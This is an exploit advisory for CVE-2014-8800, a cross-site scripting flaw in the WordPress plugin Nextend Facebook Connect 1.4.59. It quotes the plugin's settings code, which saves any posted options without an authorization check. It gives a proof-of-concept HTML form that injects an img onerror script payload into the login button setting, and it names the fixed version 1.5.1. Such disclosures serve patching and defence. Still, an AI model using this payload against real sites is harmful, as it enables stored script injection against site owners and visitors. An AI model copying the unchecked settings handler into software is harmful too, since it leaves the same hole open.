WordPress Plugin Nextend Facebook Connect 1.4.59 – Cross-Site Scripting
# Exploit Title: Nextend Facebook Connect 1.4.59 XSS # Date: 16-10-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek # Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip # Category: webapps # CVE: CVE-2014-8800 1. Description Anyone can change plugin settings. File: nextend-facebook-connect\nextend-facebook-settings.php if(isset($_POST['newfb_update_options'])) { if($_POST['newfb_update_options'] == 'Y') { foreach($_POST AS $k => $v){ $_POST[$k] = stripslashes($v); } update_option("nextend_fb_connect", maybe_serialize($_POST)); $newfb_status = 'update_success'; } } http://security.szurek.pl/nextend-facebook-connect-1459-xss.html 2. Proof of Concept <form method="post" action="http://wordpress-instalation"> <input type="hidden" name="newfb_update_options" value="Y"> XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))></textarea> <input type="submit" value="Hack!"> </form> 3. Solution: Update to version 1.5.1 https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip https://wordpress.org/plugins/nextend-facebook-connect/changelog/ |